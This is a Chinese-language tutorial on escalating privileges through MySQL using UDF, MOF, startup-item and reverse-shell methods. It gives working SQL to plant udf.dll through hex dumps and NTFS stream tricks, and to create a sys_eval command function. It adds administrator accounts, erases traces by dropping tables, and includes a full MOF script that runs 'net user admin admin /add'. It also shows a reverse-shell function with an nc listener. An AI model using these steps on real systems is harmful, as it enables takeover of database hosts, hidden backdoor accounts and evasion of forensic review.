提权方式
- udf提权
- mof提权
- 启动项提权
- 反弹shell提权
udf提权
User Defined Functions,简称UDF,通俗来讲就是用户可自定义函数。udf提权就是利用到创建自定义函数(sys_eval),在mysql中调用这个自定义的函数(sys_eval)来实现获取对方主机的system的shell权限,从而达到提权的目的。 简单来说便是利用提权脚本放到对方mysql指定的目录下,运用脚本创建自定义函数,使用函数即可获取shell权限。 我们需要将udf.dll文件放入C:\phpStudy\MySQL\lib\plugin,前面路径可能跟我不一样,但是需要做的就是将dll文件放入\lib\plugin目录中。
Mysql版本大于5.1版本:udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。 Mysql版本小于5.1版本: udf.dll文件在Windows2003下放置于c:\windows\system32, 在windows2000下放置于c:\winnt\system32。 如果目录不存在则利用NTFS数据流创建文件目录:
select 'It is dll' into dumpfile 'C:\\phpStudy\\MySQL\\lib::$INDEX_ALLOCATION'; #利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\phpStudy\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; #利用NTFS ADS创建plugin目录
提权条件
1)获取到对方mysql的shell,或者是获取到mysql账号密码,能够调用mysql语句
2)对方mysql具有insert和delete权限,也就是可写可删除添加能够创建目录,写入文件
3)对方mysql是root权限
验证是否可写:show global variables like 'secure%';
secure_file_priv是限制函数在哪个目录下拥有上传或者读取文件的权限。如果secure_file_priv值为空则可写,为指定路径则是指定路径可写,需要全部可写需要在mysql.ini配置文件添加语句即可。
操作过程
1.得到插件库路径:show variables like "%plugin%";
2.找对应操作系统的udf库文件:Windows直接上传,Linux的sqlmap自带。对于Linux系统,先用uname -a
查看操作系统位数,再查看动态库路径/pentest/database/sqlmap/udf/mysql/linux/64
(假设64位系统),文件名是lib_mysqludf_sys.so
3.放入文件:
create table temp(data longblob); #以二进制数据流容器longblob创建临时data表
insert into temp(data) values (unhex('udf文件的16进制格式')); #将udf.dll脚本的十六进制写入data表
select data from temp into dumpfile "xxx\\xxx\\lib\\plugin\\udf.dll"; #将udf文件导入到指定目录
create function sys_eval returns string soname 'udf.dll'; #创建自定义函数sys_eval
注意,Linux系统可能要加读写权限:chmod 777 /usr/lib/mysql/plugin
查看udf库支持的函数(Linux):nm -D /usr/lib/mysql/plugin/mysqludf.so
4.验证提权是否成功:select sys_eval('命令')
提权常用SQL语句
select cmdshell(‘net user hsy 123456 /add’); #添加用户
select cmdshell(‘net localgroup administrators hsy /add’); #将用户加到管理组
drop function sys_eval; #删除函数
DROP TABLE data; #为了删除痕迹,把刚刚新建的data表删掉
mof提权
利用了C:\Windows\System32\wbem\MOF
目录下的nullevt.mof
文件
利用该文件每分钟会去执行一次的特性,向该文件中写入cmd命令,就会被执行。
提权条件
- 只使用于windows系统,一般低版本系统才可以用,比如
xp
、server2003
。 - 对
C:\Windows\System32\wbem\MOF
目录有读写权限。 - 可以找到一个可写目录,写入mof文件。
操作过程
- 在可写目录中上传mof文件,例如把mof文件上传到
C:/wmpub/nullevt.mof
。 - 把这个文件复制到
C:/Windows/System32/wbem/MOF/nullevt.mof
目录下:
select load_file('C:/wmpub/nullevt.mof') into dumpfile 'C:/Windows/System32/wbem/MOF/nullevt.mof'
3.将下面这段代码复制到mof后缀的文件中:
# pragma namespace("\.\root\subscription")
instance of EventFilter as $EventFilter{ EventNamespace ="Root\Cimv2"; Name = "filtP2"; Query = "Select * From InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new
ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
把这个mof文件上传到目标机中,可以修改代码,进行命令执行。
目前mof提权方法用的比较少,建议使用udf脚本进行MySQL数据库提权。
启动项提权
利用MySQL,将后门写入开机启动项。同时因为是开机自启动,在写入之后,需要重启目标服务器,才可以运行。
反弹shell提权
mysql创建反弹函数:select backshell(’发送到的ip地址’,’端口’)
,kali使用nc监听本地(攻击机)IP:nc -l(本地)-p 端口
。